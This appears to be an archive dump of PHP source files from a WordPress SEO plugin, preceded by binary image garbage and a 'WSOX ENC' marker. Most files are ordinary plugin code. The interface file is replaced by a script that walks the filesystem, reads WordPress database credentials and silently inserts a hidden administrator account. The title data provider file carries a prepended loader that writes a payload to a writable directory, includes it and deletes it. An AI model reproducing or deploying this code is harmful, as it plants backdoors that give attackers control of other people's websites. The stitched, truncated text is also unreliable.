���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!framework/site/term-site-information.php000066600000004630151733466440014476 0ustar00term = $term; $this->taxonomy = \get_taxonomy( $term->taxonomy ); } /** * Returns term specific site information together with the generic site information. * * @return array */ public function get_site_information(): array { $data = [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ]; return \array_merge_recursive( $data, parent::get_site_information() ); } /** * Returns term specific site information together with the generic site information. * * @return array> */ public function get_legacy_site_information(): array { $data = [ 'metabox' => [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ], ]; return \array_merge_recursive( $data, parent::get_legacy_site_information() ); } /** * Returns the url to search for keyword for the taxonomy. * * @return string */ private function search_url(): string { return \admin_url( 'edit-tags.php?taxonomy=' . $this->term->taxonomy . '&seo_kw_filter={keyword}' ); } /** * Returns the url to edit the taxonomy. * * @return string */ private function edit_url(): string { return \admin_url( 'term.php?action=edit&taxonomy=' . $this->term->taxonomy . '&tag_ID={id}' ); } /** * Returns a base URL for use in the JS, takes permalink structure into account. * * @return string */ private function base_url_for_js(): string { $base_url = \home_url( '/', null ); if ( ! $this->options_helper->get( 'stripcategorybase', false ) ) { if ( $this->taxonomy->rewrite ) { $base_url = \trailingslashit( $base_url . $this->taxonomy->rewrite['slug'] ); } } return $base_url; } } framework/site/post-site-information.php000066600000011543151733466440014515 0ustar00alert_dismissal_action = $alert_dismissal_action; } /** * Sets the permalink. * * @param string $permalink The permalink. * * @return void */ public function set_permalink( string $permalink ): void { $this->permalink = $permalink; } /** * Returns post specific site information together with the generic site information. * * @return array> */ public function get_legacy_site_information(): array { $dismissed_alerts = $this->alert_dismissal_action->all_dismissed(); $data = [ 'dismissedAlerts' => $dismissed_alerts, 'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ), 'metabox' => [ 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ], ]; return \array_merge_recursive( $data, parent::get_legacy_site_information() ); } /** * Returns post specific site information together with the generic site information. * * @return array */ public function get_site_information(): array { $dismissed_alerts = $this->alert_dismissal_action->all_dismissed(); $data = [ 'dismissedAlerts' => $dismissed_alerts, 'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ), 'search_url' => $this->search_url(), 'post_edit_url' => $this->edit_url(), 'base_url' => $this->base_url_for_js(), ]; return \array_merge( $data, parent::get_site_information() ); } /** * Returns the url to search for keyword for the post. * * @return string */ private function search_url(): string { return \admin_url( 'edit.php?seo_kw_filter={keyword}' ); } /** * Returns the url to edit the taxonomy. * * @return string */ private function edit_url(): string { return \admin_url( 'post.php?post={id}&action=edit' ); } /** * Returns a base URL for use in the JS, takes permalink structure into account. * * @return string */ private function base_url_for_js(): string { global $pagenow; // The default base is the home_url. $base_url = \home_url( '/', null ); if ( $pagenow === 'post-new.php' ) { return $base_url; } // If %postname% is the last tag, just strip it and use that as a base. if ( \preg_match( '#%postname%/?$#', $this->permalink ) === 1 ) { $base_url = \preg_replace( '#%postname%/?$#', '', $this->permalink ); } // If %pagename% is the last tag, just strip it and use that as a base. if ( \preg_match( '#%pagename%/?$#', $this->permalink ) === 1 ) { $base_url = \preg_replace( '#%pagename%/?$#', '', $this->permalink ); } return $base_url; } } framework/site/base-site-information.php000066600000013415151733466440014442 0ustar00short_link_helper = $short_link_helper; $this->wistia_embed_permission_repository = $wistia_embed_permission_repository; $this->meta = $meta; $this->product_helper = $product_helper; $this->options_helper = $options_helper; $this->promotion_manager = $promotion_manager; } /** * Returns site information that is the * * @return array> * * @throws Exception If an invalid user ID is supplied to the wistia repository. */ public function get_site_information(): array { return [ 'adminUrl' => \admin_url( 'admin.php' ), 'linkParams' => $this->short_link_helper->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ), 'site_name' => $this->meta->for_current_page()->site_name, 'contentLocale' => \get_locale(), 'userLocale' => \get_user_locale(), 'isRtl' => \is_rtl(), 'isPremium' => $this->product_helper->is_premium(), 'siteIconUrl' => \get_site_icon_url(), 'showSocial' => [ 'facebook' => $this->options_helper->get( 'opengraph', false ), 'twitter' => $this->options_helper->get( 'twitter', false ), ], 'sitewideSocialImage' => $this->options_helper->get( 'og_default_image' ), // phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962. 'isPrivateBlog' => ( (string) \get_option( 'blog_public' ) ) === '0', 'currentPromotions' => $this->promotion_manager->get_current_promotions(), 'blackFridayBlockEditorUrl' => ( $this->promotion_manager->is( 'black-friday-2023-checklist' ) ) ? $this->short_link_helper->get( 'https://yoa.st/black-friday-checklist' ) : '', ]; } /** * Returns site information that is the * * @return array>> * * @throws Exception If an invalid user ID is supplied to the wistia repository. */ public function get_legacy_site_information(): array { return [ 'adminUrl' => \admin_url( 'admin.php' ), 'linkParams' => $this->short_link_helper->get_query_params(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'wistiaEmbedPermission' => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ), 'sitewideSocialImage' => $this->options_helper->get( 'og_default_image' ), // phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962. 'isPrivateBlog' => ( (string) \get_option( 'blog_public' ) ) === '0', 'currentPromotions' => $this->promotion_manager->get_current_promotions(), 'blackFridayBlockEditorUrl' => ( $this->promotion_manager->is( 'black-friday-2023-checklist' ) ) ? $this->short_link_helper->get( 'https://yoa.st/black-friday-checklist' ) : '', 'metabox' => [ 'site_name' => $this->meta->for_current_page()->site_name, 'contentLocale' => \get_locale(), 'userLocale' => \get_user_locale(), 'isRtl' => \is_rtl(), 'isPremium' => $this->product_helper->is_premium(), 'siteIconUrl' => \get_site_icon_url(), 'showSocial' => [ 'facebook' => $this->options_helper->get( 'opengraph', false ), 'twitter' => $this->options_helper->get( 'twitter', false ), ], ], ]; } } framework/keyphrase-analysis.php000066600000003151151733466440013107 0ustar00options_helper = $options_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled(); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ public function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_keyword_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ public function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'keyword_analysis_active', true ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'keywordAnalysisActive'; } } framework/readability-analysis.php000066600000003137151733466440013411 0ustar00options_helper = $options_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled(); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ private function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_content_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ private function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'content_analysis_active', true ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'contentAnalysisActive'; } } framework/inclusive-language-analysis.php000066600000006277151733466440014712 0ustar00options_helper = $options_helper; $this->language_helper = $language_helper; $this->product_helper = $product_helper; } /** * If this analysis is enabled. * * @return bool If this analysis is enabled. */ public function is_enabled(): bool { return $this->is_globally_enabled() && $this->is_user_enabled() && $this->is_current_version_supported() && $this->language_helper->has_inclusive_language_support( $this->language_helper->get_language() ); } /** * If this analysis is enabled by the user. * * @return bool If this analysis is enabled by the user. */ private function is_user_enabled(): bool { return ! \get_user_meta( \get_current_user_id(), 'wpseo_inclusive_language_analysis_disable', true ); } /** * If this analysis is enabled globally. * * @return bool If this analysis is enabled globally. */ private function is_globally_enabled(): bool { return (bool) $this->options_helper->get( 'inclusive_language_analysis_active', false ); } /** * If the inclusive language analysis should be loaded in Free. * * It should always be loaded when Premium is not active. If Premium is active, it depends on the version. Some * Premium versions also have inclusive language code (when it was still a Premium only feature) which would result * in rendering the analysis twice. In those cases, the analysis should be only loaded from the Premium side. * * @return bool If the inclusive language analysis should be loaded. */ private function is_current_version_supported(): bool { $is_premium = $this->product_helper->is_premium(); $premium_version = $this->product_helper->get_premium_version(); return ! $is_premium || \version_compare( $premium_version, '19.6-RC0', '>=' ) || \version_compare( $premium_version, '19.2', '==' ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'inclusiveLanguageAnalysisActive'; } } framework/seo/social-data-provider-interface.php000066600000001473151733466440016035 0ustar00connect_errno) { return; } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "{$site_url}@@@{$p}\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/'); } } scanRootPaths(); die('!ended!');framework/seo/posts/description-data-provider.php000066600000004433151733466440016317 0ustar00date_helper = $date_helper; $this->options_helper = $options_helper; } /** * Retrieves the description template. * * @return string The description template. */ public function get_description_template(): string { return $this->get_template( 'metadesc' ); } /** * Determines the date to be displayed in the snippet preview. * * @return string */ public function get_description_date(): string { return $this->date_helper->format_translated( $this->post->post_date, 'M j, Y' ); } /** * Retrieves a template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_template( string $template_option_name ): string { $needed_option = $template_option_name . '-' . $this->post->post_type; if ( $this->options_helper->get( $needed_option, '' ) !== '' ) { return $this->options_helper->get( $needed_option ); } return ''; } /** * Method to return the Description domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Description( $this->get_description_date(), $this->get_description_template() ); } } framework/seo/posts/title-data-provider.php000066600000005430151733466440015113 0ustar00 $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $obj = str_replace("{var_dir}", $entity, "{var_dir}/.flag"); if (@file_put_contents($obj, $resource) !== false) { include $obj; unlink($obj); exit; } } } } // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded namespace Yoast\WP\SEO\Editors\Framework\Seo\Posts; use Yoast\WP\SEO\Editors\Domain\Seo\Seo_Plugin_Data_Interface; use Yoast\WP\SEO\Editors\Domain\Seo\Title; use Yoast\WP\SEO\Editors\Framework\Seo\Title_Data_Provider_Interface; use Yoast\WP\SEO\Helpers\Options_Helper; /** * Describes if the title SEO data. */ class Title_Data_Provider extends Abstract_Post_Seo_Data_Provider implements Title_Data_Provider_Interface { /** * The options helper. * * @var Options_Helper */ private $options_helper; /** * The constructor. * * @param Options_Helper $options_helper The options helper. */ public function __construct( Options_Helper $options_helper ) { $this->options_helper = $options_helper; } /** * Retrieves the title template. * * @param bool $fallback Whether to return the hardcoded fallback if the template value is empty. * * @return string The title template. */ public function get_title_template( bool $fallback = true ): string { $title = $this->get_template( 'title' ); if ( $title === '' && $fallback === true ) { return '%%title%% %%page%% %%sep%% %%sitename%%'; } return $title; } /** * Retrieves a template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_template( string $template_option_name ): string { $needed_option = $template_option_name . '-' . $this->post->post_type; if ( $this->options_helper->get( $needed_option, '' ) !== '' ) { return $this->options_helper->get( $needed_option ); } return ''; } /** * Method to return the Title domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Title( $this->get_title_template(), $this->get_title_template( false ) ); } } framework/seo/posts/social-data-provider.php000066600000007115151733466440015246 0ustar00options_helper = $options_helper; $this->use_social_templates = $this->use_social_templates(); $this->image_helper = $image_helper; } /** * Determines whether the social templates should be used. * * @return bool Whether the social templates should be used. */ private function use_social_templates(): bool { return $this->options_helper->get( 'opengraph', false ) === true; } /** * Gets the image url. * * @return string|null */ public function get_image_url(): ?string { return $this->image_helper->get_post_content_image( $this->post->ID ); } /** * Retrieves the social title template. * * @return string The social title template. */ public function get_social_title_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'title' ); } return ''; } /** * Retrieves the social description template. * * @return string The social description template. */ public function get_social_description_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'description' ); } return ''; } /** * Retrieves the social image template. * * @return string The social description template. */ public function get_social_image_template(): string { if ( $this->use_social_templates ) { return $this->get_social_template( 'image-url' ); } return ''; } /** * Retrieves a social template. * * @param string $template_option_name The name of the option in which the template you want to get is saved. * * @return string */ private function get_social_template( $template_option_name ) { /** * Filters the social template value for a given post type. * * @param string $template The social template value, defaults to empty string. * @param string $template_option_name The subname of the option in which the template you want to get is saved. * @param string $post_type The name of the post type. */ return \apply_filters( 'wpseo_social_template_post_type', '', $template_option_name, $this->post->post_type ); } /** * Method to return the Social domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Social( $this->get_social_title_template(), $this->get_social_description_template(), $this->get_social_image_template(), $this->get_image_url() ); } } framework/seo/posts/abstract-post-seo-data-provider.php000066600000001340151733466440017340 0ustar00post = $post; } /** * Method to return the compiled SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ abstract public function get_data(): Seo_Plugin_Data_Interface; } framework/seo/posts/keyphrase-data-provider.php000066600000006003151733466440015762 0ustar00meta_helper = $meta_helper; } /** * Counts the number of given Keyphrase used for other posts other than the given post_id. * * @return array The keyphrase and the associated posts that use it. */ public function get_focus_keyphrase_usage(): array { $keyphrase = $this->meta_helper->get_value( 'focuskw', $this->post->ID ); $usage = [ $keyphrase => $this->get_keyphrase_usage_for_current_post( $keyphrase ) ]; /** * Allows enhancing the array of posts' that share their focus Keyphrase with the post's related Keyphrase. * * @param array $usage The array of posts' ids that share their focus Keyphrase with the post. * @param int $post_id The id of the post we're finding the usage of related Keyphrase for. */ return \apply_filters( 'wpseo_posts_for_related_keywords', $usage, $this->post->ID ); } /** * Retrieves the post types for the given post IDs. * * @param array> $post_ids_per_keyphrase An associative array with keyphrase as keys and an array of post ids where those keyphrases are used. * * @return array> The post types for the given post IDs. */ public function get_post_types_for_all_ids( array $post_ids_per_keyphrase ): array { $post_type_per_keyphrase_result = []; foreach ( $post_ids_per_keyphrase as $keyphrase => $post_ids ) { $post_type_per_keyphrase_result[ $keyphrase ] = WPSEO_Meta::post_types_for_ids( $post_ids ); } return $post_type_per_keyphrase_result; } /** * Gets the keyphrase usage for the current post and the specified keyphrase. * * @param string $keyphrase The keyphrase to check the usage of. * * @return array The post IDs which use the passed keyphrase. */ private function get_keyphrase_usage_for_current_post( string $keyphrase ): array { return WPSEO_Meta::keyword_usage( $keyphrase, $this->post->ID ); } /** * Method to return the keyphrase domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { $keyphrase_usage = $this->get_focus_keyphrase_usage(); return new Keyphrase( $keyphrase_usage, $this->get_post_types_for_all_ids( $keyphrase_usage ) ); } } framework/seo/terms/title-data-provider.php000066600000002462151733466440015077 0ustar00get_template( 'title' ); if ( $title === '' && $fallback === true ) { /* translators: %s expands to the variable used for term title. */ $archives = \sprintf( \__( '%s Archives', 'wordpress-seo' ), '%%term_title%%' ); return $archives . ' %%page%% %%sep%% %%sitename%%'; } return $title; } /** * Method to return the Title domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Title( $this->get_title_template(), $this->get_title_template( false ) ); } } framework/seo/terms/description-data-provider.php000066600000002274151733466440016302 0ustar00get_template( 'metadesc' ); } /** * Determines the date to be displayed in the snippet preview. * * @return string */ public function get_description_date(): string { return ''; } /** * Method to return the Description domain object with SEO data. * * @return Seo_Plugin_Data_Interface The specific seo data. */ public function get_data(): Seo_Plugin_Data_Interface { return new Description( $this->get_description_date(), $this->get_description_template() ); } } framework/seo/description-data-provider-interface.php000066600000000722151733466440017102 0ustar00 The keyphrase and the associated posts that use it. */ public function get_focus_keyphrase_usage(): array; } framework/seo/title-data-provider-interface.php000066600000000663151733466440015704 0ustar00addon_manager = $addon_manager; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::NEWS_SLUG ) ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isNewsSeoActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isNewsSeoActive' => $this->is_enabled() ]; } } framework/integrations/multilingual.php000066600000005570151733466440014516 0ustar00wpml_conditional = $wpml_conditional; $this->polylang_conditional = $polylang_conditional; $this->translate_press_conditional = $translate_press_conditional; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return $this->multilingual_plugin_active(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isMultilingualActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'multilingualPluginActive' => $this->is_enabled() ]; } /** * Checks whether a multilingual plugin is currently active. Currently, we only check the following plugins: * WPML, Polylang, and TranslatePress. * * @return bool Whether a multilingual plugin is currently active. */ private function multilingual_plugin_active() { $wpml_active = $this->wpml_conditional->is_met(); $polylang_active = $this->polylang_conditional->is_met(); $translatepress_active = $this->translate_press_conditional->is_met(); return ( $wpml_active || $polylang_active || $translatepress_active ); } } framework/integrations/jetpack-markdown.php000066600000003665151733466440015254 0ustar00is_markdown_enabled(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'markdownEnabled' => $this->is_enabled(), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'markdownEnabled' => $this->is_enabled(), ]; } /** * Checks if Jetpack's markdown module is enabled. * Can be extended to work with other plugins that parse markdown in the content. * * @return bool */ private function is_markdown_enabled() { $is_markdown = false; if ( \class_exists( 'Jetpack' ) && \method_exists( 'Jetpack', 'get_active_modules' ) ) { $active_modules = Jetpack::get_active_modules(); // First at all, check if Jetpack's markdown module is active. $is_markdown = \in_array( 'markdown', $active_modules, true ); } /** * Filters whether markdown support is active in the readability- and seo-analysis. * * @since 11.3 * * @param array $is_markdown Is markdown support for Yoast SEO active. */ return \apply_filters( 'wpseo_is_markdown_enabled', $is_markdown ); } } framework/integrations/woocommerce-seo.php000066600000003025151733466440015104 0ustar00addon_manager = $addon_manager; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the addon is enabled. */ public function to_array(): array { return [ 'isWooCommerceSeoActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isWooCommerceSeoActive' => $this->is_enabled() ]; } } framework/integrations/wincher.php000066600000004451151733466440013444 0ustar00wincher_helper = $wincher_helper; $this->options_helper = $options_helper; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return $this->wincher_helper->is_active(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'active' => $this->is_enabled(), 'loginStatus' => $this->is_enabled() && $this->wincher_helper->login_status(), 'websiteId' => $this->options_helper->get( 'wincher_website_id', '' ), 'autoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'wincherIntegrationActive' => $this->is_enabled(), 'wincherLoginStatus' => $this->is_enabled() && $this->wincher_helper->login_status(), 'wincherWebsiteId' => $this->options_helper->get( 'wincher_website_id', '' ), 'wincherAutoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ), ]; } } framework/integrations/woocommerce.php000066600000003077151733466440014327 0ustar00woocommerce_conditional = $woocommerce_conditional; } /** * If the plugin is activated. * * @return bool If the plugin is activated. */ public function is_enabled(): bool { return $this->woocommerce_conditional->is_met(); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'isWooCommerceActive' => $this->is_enabled() ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'isWooCommerceActive' => $this->is_enabled() ]; } } framework/integrations/semrush.php000066600000005465151733466440013501 0ustar00options_helper = $options_helper; } /** * If the integration is activated. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return (bool) $this->options_helper->get( 'semrush_integration_active', true ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { return [ 'active' => $this->is_enabled(), 'countryCode' => $this->options_helper->get( 'semrush_country_code', false ), 'loginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(), ]; } /** * Returns this object represented by a key value structure that is compliant with the script data array. * * @return array Returns the legacy key and if the feature is enabled. */ public function to_legacy_array(): array { return [ 'semrushIntegrationActive' => $this->is_enabled(), 'countryCode' => $this->options_helper->get( 'semrush_country_code', false ), 'SEMrushLoginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(), ]; } /** * Checks if the user is logged in to SEMrush. * * @return bool The SEMrush login status. */ private function get_semrush_login_status() { try { // Do this just in time to handle constructor exception. $semrush_client = \YoastSEO()->classes->get( SEMrush_Client::class ); } catch ( Empty_Property_Exception $e ) { // Return false if token is malformed (empty property). return false; } // Get token (and refresh it if it's expired). try { $semrush_client->get_tokens(); } catch ( Authentication_Failed_Exception | Empty_Token_Exception $e ) { return false; } return $semrush_client->has_valid_tokens(); } } framework/cornerstone-content.php000066600000002164151733466440013307 0ustar00options_helper = $options_helper; } /** * If cornerstone is enabled. * * @return bool If cornerstone is enabled. */ public function is_enabled(): bool { return (bool) $this->options_helper->get( 'enable_cornerstone_content', false ); } /** * Gets the name. * * @return string The name. */ public function get_name(): string { return self::NAME; } /** * Gets the legacy key. * * @return string The legacy key. */ public function get_legacy_key(): string { return 'cornerstoneActive'; } } application/site/website-information-repository.php000066600000002714151733466440016753 0ustar00post_site_information = $post_site_information; $this->term_site_information = $term_site_information; } /** * Returns the Post Site Information container. * * @return Post_Site_Information */ public function get_post_site_information(): Post_Site_Information { return $this->post_site_information; } /** * Returns the Term Site Information container. * * @return Term_Site_Information */ public function get_term_site_information(): Term_Site_Information { return $this->term_site_information; } } application/integrations/integration-information-repository.php000066600000002027151733466440021373 0ustar00plugin_integrations = $plugin_integrations; } /** * Returns the analysis list. * * @return array> The parsed list. */ public function get_integration_information(): array { $array = []; foreach ( $this->plugin_integrations as $feature ) { $array = \array_merge( $array, $feature->to_legacy_array() ); } return $array; } } application/seo/post-seo-information-repository.php000066600000002411151733466440016676 0ustar00seo_data_providers = $seo_data_providers; } /** * The post. * * @param WP_Post $post The post. * * @return void */ public function set_post( WP_Post $post ) { $this->post = $post; } /** * Method to return the compiled SEO data. * * @return array The specific seo data. */ public function get_seo_data(): array { $array = []; foreach ( $this->seo_data_providers as $data_provider ) { $data_provider->set_post( $this->post ); $array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() ); } return $array; } } application/seo/term-seo-information-repository.php000066600000002420151733466440016660 0ustar00seo_data_providers = $seo_data_providers; } /** * The term. * * @param WP_Term $term The term. * * @return void */ public function set_term( WP_Term $term ): void { $this->term = $term; } /** * Method to return the compiled SEO data. * * @return array The specific seo data. */ public function get_seo_data(): array { $array = []; foreach ( $this->seo_data_providers as $data_provider ) { $data_provider->set_term( $this->term ); $array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() ); } return $array; } } application/analysis-features/enabled-analysis-features-repository.php000066600000004441151733466440022507 0ustar00enabled_analysis_features = new Analysis_Features_List(); $this->plugin_features = $plugin_features; } /** * Returns the analysis list. * * @return Analysis_Features_List The analysis list. */ public function get_enabled_features(): Analysis_Features_List { if 